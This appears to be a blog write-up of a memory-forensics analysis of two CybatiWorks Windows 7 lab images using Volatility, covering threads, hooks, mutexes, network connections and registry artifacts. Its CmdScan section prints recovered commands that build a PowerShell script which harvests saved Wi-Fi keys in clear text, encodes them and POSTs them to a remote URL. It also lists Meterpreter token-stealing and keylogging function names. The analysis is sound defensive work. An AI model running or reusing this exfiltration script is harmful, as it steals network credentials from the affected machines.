
435191168 [1308:01aa1d80] stdapi_sys_config_getuid
435191196 [1308:01aa1d9c] stdapi_sys_config_sysinfo
435191308 [1308:01aa1e0c] stdapi_sys_config_steal_token
435191340 [1308:01aa1e2c] stdapi_sys_config_drop_token
435191704 [1308:01aa1f98] stdapi_ui_enable_mouse
435191728 [1308:01aa1fb0] stdapi_ui_enable_keyboard
435191780 [1308:01aa1fe4] stdapi_ui_start_keyscan

Threads:
There was one orphan thread.  Sometimes they can indicate malware.  Volshell was used to try and see if there was an executable file near that address in memory, because the pointers in the threads plugin don’t always start at the base address.  The base address is needed to export the file using moddump.  The file was then exported using moddump.  One scanner on VirusTotal has flagged this .sys file as potentially being malware.

https://www.virustotal.com/en/file/017365bd7e5ddabda5c3a024212a80870dfe3f272939966c7561173beb01052b/analysis/1464206547/

vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-1.vmem" threads -F OrphanThread
Volatility Foundation Volatility Framework 2.4
[x86] Gathering all referenced SSDTs from KTHREADs...
Finding appropriate address space for tables...
------
ETHREAD: 0x848b0d48 Pid: 4 Tid: 3252
Tags: OrphanThread,SystemThread
Created: 2016-03-02 20:51:35 UTC+0000
Exited: 2016-03-02 20:56:51 UTC+0000
Owning Process: System
Attached Process: System
State: Terminated
BasePriority: 0x8
Priority: 0x8
TEB: 0x00000000
StartAddress: 0x9fba5f2e UNKNOWN
ServiceTable: 0x831b19c0
  [0] 0x830cb980
  [1] 0x00000000
  [2] 0x00000000
  [3] 0x00000011
Win32Thread: 0x00000000
CrossThreadFlags: PS_CROSS_THREAD_FLAGS_DEADTHREAD, PS_CROSS_THREAD_FLAGS_SYSTEM, PS_CROSS_THREAD_FLAGS_TERMINATED

$ vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-1.vmem" volshell
Volatility Foundation Volatility Framework 2.4
Current context: System @ 0x847f4920, pid=4, ppid=0 DTB=0x185000
Python 2.7.6 (default, Jun 22 2015, 17:58:13) 
Type "copyright", "credits" or "license" for more information.

IPython 2.3.1 -- An enhanced Interactive Python.
?         -> Introduction and overview of IPython's features.
%quickref -> Quick reference.
help      -> Python's own help system.
object?   -> Details about 'object', use 'object??' for extra details.

In [1]: start = 0x9fba5f2e - 0x100000

In [2]: end = 0x9fba0000

In [3]: while start < end:
   ...:     if addrspace().zread(start, 4) == "MZ\x90\x00":
   ...:         print hex(start)
   ...:         break
   ...:     start +=1
   ...:     
0x9fae1000

In [4]: db(0x9fae1000)
0x9fae1000  4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00   MZ..............
0x9fae1010  b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00   ........@.......
0x9fae1020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x9fae1030  00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00   ................
0x9fae1040  0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68   ........!..L.!Th
0x9fae1050  69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f   is.program.canno
0x9fae1060  74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20   t.be.run.in.DOS.
0x9fae1070  6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00   mode....$.......

In [5]: exit

Timers:

No timers found.

UnloadedModules

dump_dumpfve.sys
dump_LSI_SCSI.sys
dump_storport.sys
crashdmp.sys
rimspe86.sys
risdpe86.sys
spsys.sys

VerInfo

Originally, the output was sent to a file by doing this:  vol.py —profile=Win7SP0x86 -f “CybatiWorks Windows 7-7240278-1.vmem” verinfo > Win1VerInfo.  The characters in the text editor that the file was opened with were in a different character set.  Then the verinfo was sent to the terminal, and it output in the language on the local machine.

Windows 7-2nd Machine

API Hooked Processes:
IExplore.exe 3708
IExplore.exe 624

Victim processes:
USER32.dll
comdlg32.dll
comctl32.dll
OLEAUT32.dll
ole32.dll
kernel32.dll

Atoms:

0x14e5b640 0x9da63ee8     0xc0b8      2      0 0000000005d50001 
0x14e5b640 0x9db7fec0     0xc09e      3      0 0000000002b70001
0x14e5b640 0xa14151b0     0xc24a      3      0 0000000008800001

There are unprintable characters in the above atom listings- usually atoms have printable names.  Sometimes malware authors do this not realizing that those artifacts can be recovered from memory analysis.

Callbacks:

No unknown callbacks.  If there is a rootkit, it’s finding a different method to hide.

CmdScan:

The following appears to exfiltrate information about a machine as well as potentially operate as part of a C&C line of machines.  Looks like the old C&C model has changed from one that was a single, or few C&C servers, to having more than one fail safe point-ie infected machines talking to each other as peers.  If one goes down, they’ll have another to take it’s place and to send directions to other machines.  The hypothesis about the Base64 encoding in the other memory image’s UDP traffic may have been correct, given in the powershell script below, it converts the code to a Base64 String.  It appears as though it compresses the data and ascii encodes it before the Base64 encoding.

conhost.exe Process 1244:

CommandProcess: conhost.exe Pid: 1244
CommandHistory: 0x6a270 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 28 LastAdded: 27 LastDisplayed: 27
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 @ 0x6e4e8: echo Set WshShell = WScript.CreateObject("WScript.Shell"): WshShell.SendKeys "{CAPSLOCK}" > %temp%\capslock.vbs
Cmd #1 @ 0x4be30: wscript %temp%\capslock.vbs
Cmd #2 @ 0x605f0: e"10.0.0.11" >> %temp%\wl.ps1
Cmd #3 @ 0x6a368: echo $pass = "INPUT2' >> %temp%\wl.ps1
Cmd #4 @ 0x69bf0: echo $pass = "INPUT2" > %temp%\wl.ps1
Cmd #5 @ 0x4c590: echo $pass = "INPUT2" >> %temp%\wl.ps1
Cmd #6 @ 0x4c5e8: echo $dev = "INPUT3" >> %temp%\wl.ps1
Cmd #7 @ 0x4c640: echo $w = netsh wlan show profiles ^| Select-String -Pattern "All User Profile" ^| foreach {$_.ToString()} >> %temp%\wl.ps1
Cmd #8 @ 0x4c740: echo $ed = $w ^| foreach {$_.Replace("    All User Profile     : ",$null)} >> %temp%\wl.ps1
Cmd #9 @ 0x4c800: echo $pv = $ed ^| foreach {netsh wlan show profiles name="$_" key=clear} >> %temp%\wl.ps1
Cmd #10 @ 0x6e5d0: echo $ms = New-Object IO.MemoryStream >> %temp%\wl.ps1
Cmd #11 @ 0x6e648: echo $ac = [IO.Compression.CompressionMode]::Compress >> %tel.ps1
Cmd #12 @ 0x69c48: echo $sw = New-Object IO.StreamWritewl.ps1
Cmd #13 @ 0x69ca8: echo $sw = New-Object IO.StreamWriterl.ps1
Cmd #14 @ 0x6e7a0: echo $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII) >> %temp%\wl.ps1
Cmd #15 @ 0x6e858: echo $pv ^| ForEach-Object {$sw.WriteLine($_)} >> %temp%\wl.ps1
Cmd #16 @ 0x68a30: echo $sw.Close() >> %temp%\wl.ps1
Cmd #17 @ 0x6e8e0: echo $code = [Convert]::ToBase64String($ms.ToArray()) >> %temp%\wl.ps1
Cmd #18 @ 0x6e978: echo function pht($url,$pars) { >> %temp%\wl.ps1
Cmd #19 @ 0x6e9e8: echo $ht = New-Object -ComObject Msxml2.XMLHTTP >> %temp%\wl.ps1
Cmd #20 @ 0x6ea78: echo $ht.open("POST", $url, $false) >> %temp%\wl.ps1
Cmd #21 @ 0x6eaf0: echo $ht.setRequestHeader("Content-type","application/x-www-form-urlencoded") >> echo $ht.setRequestHeader("Content-length", $pars.length); >> %temp%\wl.ps1
Cmd #22 @ 0x6ec38: echo $ht.setRequestHeader("Connection", "close") >> %temp%\wl.ps1
Cmd #23 @ 0x6e748: echo $ht.send($pars) >> %temp%\wl.ps1
Cmd #24 @ 0x6ecc8: echo $script:sk=$ht.responseText }>> %temp%\wl.ps1
Cmd #25 @ 0x6ed38: echo pht $user $code >> %temp%\wl.ps1
Cmd #26 @ 0x6ed90: echo Set oShell = CreateObject("WScript.Shell") > %temp%\wl.vbs
Cmd #27 @ 0x6ee18: echo oShell.Run("powershell.exe -ep bypass -nologo -c %temp%\wl.ps1"),0,true >> %temp%\wl.vbs
Cmd #36 @ 0x300c4: ?????
Cmd #37 @ 0x66e18: ?????

DLLList:

The output of the following command looks strange.  It is possible to have a mismatch between the ASCII using Windows API and unicode, meaning that it leaves it vulnerable to attack because it doesn’t know how to interpret unicode.  It is not known if that is the case here.  It may be a query in Powershell.  ? is used in Powershell for the Where cmdlet.  (This may be serendipity, but if one base64 decodes émd, to Windows-1252, it decodes to ™)

vol.py —profile=Win7SP0x86 -f “CybatiWorks Windows 7-72420278-2.vmem” dlllist -p 3708

iexplore.exe pid: 3708
Command line : “C:\Program Files\Internet Explorer\iexplore.exe” “? émd”

Dumpfiles (Examined on VirusTotal):
WisdomEyes is a form of javascript malware that can pretty much do whatever the hacker wants to do.

Process 604:  WisdomEyes

Process 624:  WisdomEyes, Artemis, Trojan


Process 748:  WisdomEyes


Process 1244:  WisdomEyes

https://www.virustotal.com/en/file/1a85df15214acbae9a11092718155957b623e8c0522b57e2d9db43824e51f4d8/analysis/1464049478/

Process 1804:  WisdomEyes

https://www.virustotal.com/en/file/ce657cc3128e8980e753f581a624a4b7412adbe668b545d9e6ae7010f1daa62c/analysis/1464040764/

Process 1888: WisdomEyes


Process 3060: WisdomEyes, Trojan

https://www.virustotal.com/en/file/93a12d97a8f309e40ed8f72be4a61268787a79f1ee761ecf418666f362027bfb/analysis/1464050045/

Process 3564:  WisdomEyes

https://www.virustotal.com/en/file/c1f2e481e001d81bf9edb058b4bf43bd2c8bffe9f16647024b546eaad12a6968/analysis/1464050397/

Process 3708:  WisdomEyes

https://www.virustotal.com/en/file/391a75b02be3c5fdd4f1484179bf3eebf0b3ec60cfd768722983f5095fad815a/analysis/1464050857/

Process 4084:  WisdomEyes

https://www.virustotal.com/en/file/79d7d937ed1b0e165bbbdfd1259f72eb0d633ba246c16a132885bcf9a8e824c2/analysis/

Handles:  

It looks like process 3708 is storing pictures under a registry key.  When the process is examined using, vol.py —profile=Win7SP0x86 -f “CybatiWorks Windows 7-72420278-2.vmem” handles —object-type=Key -p 3708, the registry key:  \MACHINE\SOFTWARE\CLASSES\ can be seen.  The subkeys are  MACHINE\SOFTWARE\CLASSES\.PNG and MACHINE\SOFTWARE\CLASSES\.JPG.  When all the registry keys are printed, the registry entry shows up as [no name].  [no name] can be referring to an application registry keys.  When this particular key is printed using the physical offset of the key, by  vol.py —profile=Win7SP0x86 -f “CybatiWorks Windows 7-72420278-2.vmem” printkey -o 0xa0f79420, then it is shown as [no name] with a key that has some unprintable characters, with an update of 1970-01-01.  An epoch date on any machine is very unusual.  Depending on the tools that one uses, sometimes, the tool can interpret unknown dates in strange ways.  This could just mean that it doesn’t know the date for some reason.

ImageInfo:

vol.py imageinfo -f "CybatiWorks Windows 7-72420278-2.vmem"
Volatility Foundation Volatility Framework 2.4
Determining profile based on KDBG search...

          Suggested Profile(s) : Win7SP0x86, Win7SP1x86
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/sansforensics/Desktop/CybatiWorks
Windows 7-72420278-2.vmem)
PAE type : PAE
DTB : 0x185000L
KDBG : 0x83165be8
          Number of Processors : 2
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0x83166c00
                KPCR for CPU 1 : 0x807c4000
             KUSER_SHARED_DATA : 0xffdf0000
           Image date and time : 2016-03-02 16:36:27 UTC+0000
     Image local date and time : 2016-03-02 10:36:27 -0600

PrintKey:
vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-2.vmem" printkey -K "Microsoft\Windows\CurrentVersion\Run"
Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \SystemRoot\System32\Config\SOFTWARE
Key name: Run (S)
Last updated: 2014-06-22 20:11:15 UTC+0000

Subkeys:

Values:
REG_SZ        IAStorIcon      : (S) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe <—This key may indicate persistence.  Malware may have injected itself into this process.  Process comes up as clean on VirusTotal, though.
REG_SZ        SiemensAutomationFileStorage : (S) "C:\Program Files\Siemens\Automation\Portal V11\Bin\Siemens.Automation.ObjectFrame.FileStorage.Server.exe" preload
REG_SZ        SunJavaUpdateSched : (S) "C:\Program Files\Common Files\Java\Java Update\jusched.exe"
REG_SZ        GatewaySysTray  : (S) "C:\Program Files\3S CODESYS\GatewayPLC\GatewaySysTray.exe"
REG_SZ        CODESYSControlSysTray : (S) "C:\Program Files\3S CODESYS\GatewayPLC\CODESYSControlSysTray.exe"
$ vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-2.vmem" printkey -K “Microsoft\Windows\CurrentVersion\RunOnce"
printkey -K "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \??\C:\Users\CYBATI\ntuser.dat
Key name: Run (S)
Last updated: 2014-08-14 05:38:39 UTC+0000

Subkeys:

Values:
REG_SZ        Sshfs           : (S) C:\Program Files\win-sshfs\Sshfs.exe

Processes 624 and 3708 have connections via the Auxiliary Function Driver for Winsock.  Using, vol.py —profile=Win7SP0x86 -f “CybatiWorks Windows 7-72420278-2.vmem” handles —object-type=File -p 3708, it shows the \Device\Afd\Endpoint handle.  When looking at the 3708 process using netscan, one can see that it uses port 65237 for the connection.  Doing the same for 624, one can see that the port is 61498.  It’s odd because they use the link local network address.  Why is the machine talking to itself?

Timeliner & IExplore History:


vol.py —profile=Win7SPx86 -f “CybatiWorks Windows 7-72420278-2.vmem” iehistory -p 624
vol.py —profile=Win7SPx86 -f “CybatiWorks Windows 7-72420278-2.vmem” iehistory -p 3708

ieframe.dll- USED TO HOOK PROCESSES, hooked by iertutil.dll
background_gradient.jpg
favcenter.png
down.png
noConnect.png
httpErrorPageScripts.js
errorPageStrings.js
ErrorPageTemplate.css
dnserror.htm

Wdf01000.sys looked suspicious.  The file name was searched for on Google using the site:virustotal.com entry, and it showed that it could potentially be a rootkit.

https://www.virustotal.com/en/file/aed8575924b627281fee830a078399ed41550434cae4fd72d763324b871c88ee/analysis/

Potentially Malicious Process?-using epoch date 01/01/1970-could just be that the tool doesn’t know the date, so it adds the epoch date-still strange.

NtfxC? PID: 1631808845/PPID: 67436562

Event Logs:

vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-2.vmem" dumpfiles --regex .evtx$ --ignore-case --dump-dir Win2Out/EventLogs
cd Win2Out/EventLogs
file -i ./*
evtxdump.pl ~/Desktop/Win2Out/EventLogs/file.812.0x9a153c08.Microsoft-Windows-NetworkAccessProtection%4Operational.evtx.dat

No luck finding any events.  The .dat evtx file was the only one that would print out.  The others may have been swapped out of memory during the time of acquisition.

<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<Events></Events>

Malfind:

IAStorIcon.exe Process: 1888
Sshfs.exe Process:  604
RNADiagnostics  Process:  3060
FTActivationBo Process:  4084
IAstorDataMgrS  Process:  3564
svchost.exe  Process:  1804
Runtime.exe  Process:  748
iexplore.exe  Process:  3708
iexplore.exe Process:  624

Using the -D switch to dump out the processes, these all come up clean.  Sometimes either malfind has false positives, or it points to the wrong spot in memory to find the actual injected code or executable.  One can search around that area in memory for the MZ header to find the correct spot.

NetScan/Ethscan:
IP Addresses and MAC Addresses

172.16.167.130 ca:fe:ba:ca:fe
172.16.1.10 00:50:56:00:ab:63
172.16.167.1 00:50:56:c0:00:01
0.0.0.0 ca:fe:ba:be:ca:fe
172.16.1.30 00:1d:9c:a4:2a:51
53.0.53.4 ? Found in NBDS packet.
30.1.16.172 This IP was found in Link Local Multicast Traffic-This is the same IP as 172.16.1.30 backwards, which indicates Little Endian.

The local IP Address is different depending on which connection it’s using, which indicates possible IP Address Spoofing.  The IP Addresses were 0.0.0.0, 172.16.1.10, and 172.16.167.130.  0.0.0.0 in the netscan plugin means that it’s listening on all IP Addresses.  Postgres.exe was on the machine as well, indicating potential use of Metasploit.  Postgres.exe is also used in some antivirus software.  Could this machine be a pivot point that is used to exploit other machines?  There was a process with an extremely high process ID, which indicates a potential infection.  

The 172.16.1.10 IP Address has an established connection with 172.16.1.30 on the Ethernet/IP port over port 44818.

Shellbags:

The Path 54164095_STEP7_TIA_Portal_V11_HSP has the epoch date as it’s modify, create, and access date.

There is a folder entry 26ee0668-a00a-44d7-9731-beb064c98683 with an UNKNOWN CSIDL and the folder IDs are EXPLORER, MY_COMPUTER, RECYCLE_BIN, and UNKNOWN.  Google searching 26ee0668-a00a-44d7-9731-beb064c98683 states that it is the Control Panel.

File in the CYBATIshortcuts directory that is considered riskware.  processhacker-2.28-bin with the epoch date as it’s modify, create and access date.  There are versions of this file that are malware.

Shimcache:

None seen.  When trying to search for the Windows 7 Shim cache registry key, it states that there was no shim cache data found.  vol.py —profile=Win7SPx86 -f “CybatiWorks Windows 7-72420278-2.vmem” printkey -K “CurrentControlSet\Control\Session Manager\AppCompatCache”

vol.py —profile=Win7SPx86 -f “CybatiWorks Windows 7-72420278-2.vmem” shimcache

SSDT:

vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-2.vmem" ssdt | egrep -v ‘(ntoskrnl\.exe|win32k\.sys)'
No evidence of rootkit activity using this regular expression.  (Doesn’t mean that there isn’t one on this machine.  Just means that if there is one, they hid it in a different manner.)

vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-2.vmem" ssdt --verbose | grep INLINE
Volatility Foundation Volatility Framework 2.4
  ** INLINE HOOK? => 0x9b4fff83 (aksfridge.sys)
  ** INLINE HOOK? => 0x9b50958b (aksfridge.sys)<—potentially evidence of a rootkit

Suspicious Mutex-not found on total hash:

3ms3e5moktadhny3mm2esyeirxbgyb02

Mutex-Checked on totalhash.cymru.com
DBWinMutex                         potential pdf malware
.NET Data Provider for Oracle_Perf_Library_Lock_PID_f48
RasPbFile:                         razy,zusy,kazy, zbot
ZonesCacheCounterMutex                 zusy,razy,kazy
mutex for InstallShield Update Manager                 razy
_!MSFTHISTORY!_                 zusy, razy, kazy
.NET CLR Networking_Perf_Library_Lock_PID_f48                 nitol, Overie!486D
ZonesLockedCacheCounterMutex                 zusy, razy, kazy
_SHuassist.mtx                 trojan
.NET CLR Data_Perf_Library_Lock_PID_f48                 backdoor-overlie, nitol
ALTTAB_RUNNING_MUTEX                 kazy
SMSvcHost 4.0.0.0_Perf_Library_Lock_PID_f48         trojan-keylogger
SMSvcHost 3.0.0.0_Perf_Library_Lock_PID_f48 trojan-keylogger
Windows Workflow Foundation 4.0.0.0_Perf_Library_Lock_PID_f48 nitol,overlie,zusy
Windows Workflow Foundation 3.0.0.0_Perf_Library_Lock_PID_f48 nitol,overlie,zusy
.NET Data Provider for SqlServer_Perf_Library_Lock_PID_f48 nitol-ddos, overlie
WininetProxyRegistryMutex                 zusy, kazy, razy
.NET CLR Networking 4.0.0.0_Perf_Library_Lock_PID_f48 nitol, overlie, eldorado
DBWinMutex-CVE-2013-2729         kasy
Redundancy@A46EB806\-BC5D\-47EF\-88C0\-13803DB6ED8D expiro-fake PCGuard
WininetStartupMutex                 zusy,kazy,razy
WininetConnectionMutex                 kazy, barys
.NET Memory Cache 4.0_Perf_Library_Lock_PID_f48 nitol, overlie, eldorado
ZonesLockedCacheCounterMutex                 kazy, razy, zusy
ZonesCacheCounterMutex                 razy, kazy, zusy

Strings:

strings -td -a “CybatiWorks Windows 7-72420278-2.vmem” > Win2Strings.txt
strings -td -el -a “CybatiWorks Windows 7-72420278-2.vmem” >> Win2Strings.txt
vol.py —profile=Win7SPx86 -f “CybatiWorks Windows 7-72420278-2.vmem” strings -s Win2Strings.txt > Win2TranslatedStrings.txt

Looks like it was running Kaspersky at one time.

grep “\.pf” Win2TranslatedStrings.txt | grep ‘[A-Z]\.EXE’

grep “FREE MEMORY” Win2TranslatedStrings.txt > Win2UnallocatedStrings.txt

grep "metasploit" Win2StringsTranslated.txt
147782654 [kernel:99379bfe] metasploit
When the consoles volatility was used, and powershell was used to create a script, and postgres was running with a lot of listeners, it was thought that maybe metasploit should be searched for. 

Not sure if it has anything to do with the malware, but this was found in unallocated memory.  Usually Antivirus Scanners skip this region.

198051 [FREE MEMORY] ; PCI device hack flags rule
198084 [FREE MEMORY] PCIDeviceHack = ?PCIDeviceMatch(0)(0.1.2.3.4)(0),?PCIDeviceSetHackflags()(5.6)(0),&
198174 [FREE MEMORY] ; PCI device hack flags based on bios matching rule
198230 [FREE MEMORY] PCIDeviceHackBiosMatch = %BasicMachineID(0.1.0.2.3.0.4.0.5.0.6)(0.1.2.3.4.5)(), \
198313 [FREE MEMORY] %PCIDeviceHack(7)(6.7.8.9.10.11.12)(0),&
198385 [FREE MEMORY] ; PCI device hack flags based on CPU matching rule
198440 [FREE MEMORY] PCIDeviceHackCpuMatch = ?CpuType(0.1.2.3)(0.1.2.3), \
198495 [FREE MEMORY] %PCIDeviceHack(4)(4.5.6.7.8.9.10)(0),&
198564 [FREE MEMORY] ; Disable ASPM on systems with specific unsupported PCI express hubs
198637 [FREE MEMORY] PCIDeviceDisablePciExpressASPM = ?PCIDeviceMatch(0)(0.1.2.3.4)(0), \
198707 [FREE MEMORY] ?AcpiFADTBootArch()(5),|
198769 [FREE MEMORY] ; Disable MSI on a system where FADT Boot Arch flags are set
198834 [FREE MEMORY] DisableMSI = ?AcpiFADTBootArch()(0)
198876 [FREE MEMORY] ; Work around unreported memory at F8 for PCI arbiters
198935 [FREE MEMORY] PciBrokenMemAtF8 = \
198957 [FREE MEMORY] %BasicMachineID(0.1.0.2.3.0.4.0.5.0.6)(0.1.2.3.4.5)()
199021 [FREE MEMORY] ; Match cpu type for AMD
199050 [FREE MEMORY] CpuTypeAmd = \

Timers:
No timers found.

Threads:

The same method was used as for the first memory image.  The addresses were different, but there was one orphan thread found.  Again, the executable found near the orphan thread was exported.  This one was also detected as malware by one scanner on VirusTotal.

https://www.virustotal.com/en/file/9747945ce4e27af052cd72b0c95bc22284b9a489e6e607d5146717e0fb00cf97/analysis/1464208780/

Unloaded Modules:

dump_dumpfve.sys     0x008361a000 0x8362b000 2016-03-02 16:09:08 
dump_LSI_SCSI.sys    0x0083600000 0x8361a000 2016-03-02 16:09:08 
dump_storport.sys    0x00879f6000 0x87a00000 2016-03-02 16:09:08 
crashdmp.sys         0x0087627000 0x87634000 2016-03-02 16:09:08 
rimspe86.sys         0x00a10c7000 0xa10dc000 2016-03-02 16:09:20 
risdpe86.sys         0x00a10dc000 0xa10ed000 2016-03-02 16:09:20 
spsys.sys            0x00a1187000 0xa11f1000 2016-03-02 16:16:39 
kbdhid.sys           0x00a1010000 0xa101c000 2016-03-02 16:34:54 

Windows:

Hidden Internet Explorer Window?  Visible According to wintree.

Window Handle: #205a6 at 0xfea86550, Name: 
ClassAtom: 0xc299, Class: Internet Explorer_Hidden
SuperClassAtom: 0xc299, SuperClass: Internet Explorer_Hidden
pti: 0xfe7c2278, Tid: 4564 at 0xa1902690
ppi: 0xfdfe8318, Process: iexplore.exe, Pid: 624
Visible: Yes
Left: 0, Top: 0, Bottom: 0, Right: 0
Style Flags: WS_OVERLAPPED,WS_VISIBLE,WS_POPUP,WS_CLIPSIBLINGS
ExStyle Flags: WS_EX_LTRREADING,WS_EX_TOOLWINDOW,WS_EX_RIGHTSCROLLBAR,WS_EX_LEFT
Window procedure: 0x5d584afe

Window Handle: #10538 at 0xfea7bdf8, Name: Internet Explorer cannot display the webpage - Windows Internet Explorer
ClassAtom: 0xc25b, Class: IEFrame
SuperClassAtom: 0xc25b, SuperClass: IEFrame
pti: 0xfe73bd18, Tid: 2040 at 0xa18ed030
ppi: 0xfda4c9a8, Process: iexplore.exe, Pid: 3708
Visible: Yes
Left: -32000, Top: -32000, Bottom: -32000, Right: -32000
Style Flags: WS_MINIMIZE,WS_MINIMIZEBOX,WS_TABSTOP,WS_DLGFRAME,WS_BORDER,WS_THICKFRAME,WS_CAPTION,WS_CLIPCHILDREN,WS_SYSMENU,WS_MAXIMIZEBOX,WS_GROUP,WS_OVERLAPPED,WS_VISIBLE,WS_CLIPSIBLINGS
ExStyle Flags: WS_EX_LTRREADING,WS_EX_RIGHTSCROLLBAR,WS_EX_WINDOWEDGE,WS_EX_LEFT
Window procedure: 0x72db1dc5

The following usually shows the current logged on user.  student is logged on.

Window Handle: #3008a at 0xfea08878, Name: student
ClassAtom: 0xc09d, Class: Desktop User Picture
SuperClassAtom: 0xc09d, SuperClass: Desktop User Picture
pti: 0xfe434298, Tid: 1568 at 0x86fd5d48
ppi: 0xfe46fe30, Process: explorer.exe, Pid: 1508
Visible: No
Left: 304, Top: 186, Bottom: 368, Right: 250
Style Flags: WS_DISABLED,WS_OVERLAPPED,WS_POPUP,WS_CLIPSIBLINGS
ExStyle Flags: WS_EX_LTRREADING,WS_EX_TOOLWINDOW,WS_EX_RIGHTSCROLLBAR,WS_EX_LEFT,WS_EX_TOPMOST
Window procedure: 0x22e523

The following usually shows the current local time when the image was taken.  This one doesn’t.

Window Handle: #10040 at 0xfea021c0, Name: Time usually goes here
ClassAtom: 0xc07e, Class: TrayClockWClass
SuperClassAtom: 0xc07e, SuperClass: TrayClockWClass
pti: 0xfe434298, Tid: 1568 at 0x86fd5d48
ppi: 0xfe46fe30, Process: explorer.exe, Pid: 1508
Visible: No
Left: 1282, Top: 689, Bottom: 1282, Right: 717
Style Flags: WS_CHILD,WS_OVERLAPPED,WS_CLIPSIBLINGS
ExStyle Flags: WS_EX_LTRREADING,WS_EX_RIGHTSCROLLBAR,WS_EX_LEFT
Window procedure: 0x221fe7

Wintree:

Does iexplore usually need access to the clipboard?  Probably, considering that people copy/paste stuff from websites all the time.  Why does CodeMeterCC.exe, Rs500.exe, and mmc.exe need access to it, though?

vol.py --profile=Win7SP0x86 -f "CybatiWorks Windows 7-72420278-2.vmem" wintree | grep CLIPBRDWNDCLASS
Volatility Foundation Volatility Framework 2.4
.#10046  explorer.exe:1508 CLIPBRDWNDCLASS
.#100dc  explorer.exe:1508 CLIPBRDWNDCLASS
.#200f8  vmtoolsd.exe:368 CLIPBRDWNDCLASS
.#20258  CodeMeterCC.ex:964 CLIPBRDWNDCLASS
.#1033c  Rs500.exe:2892 CLIPBRDWNDCLASS
.#20422  explorer.exe:1508 CLIPBRDWNDCLASS
.#604d6  mmc.exe:2220 CLIPBRDWNDCLASS
.#10570  iexplore.exe:3708 CLIPBRDWNDCLASS
.#10596  iexplore.exe:624 CLIPBRDWNDCLASS

.#30456  explorer.exe:1508 CLIPBRDWNDCLASS

No comments:

Post a Comment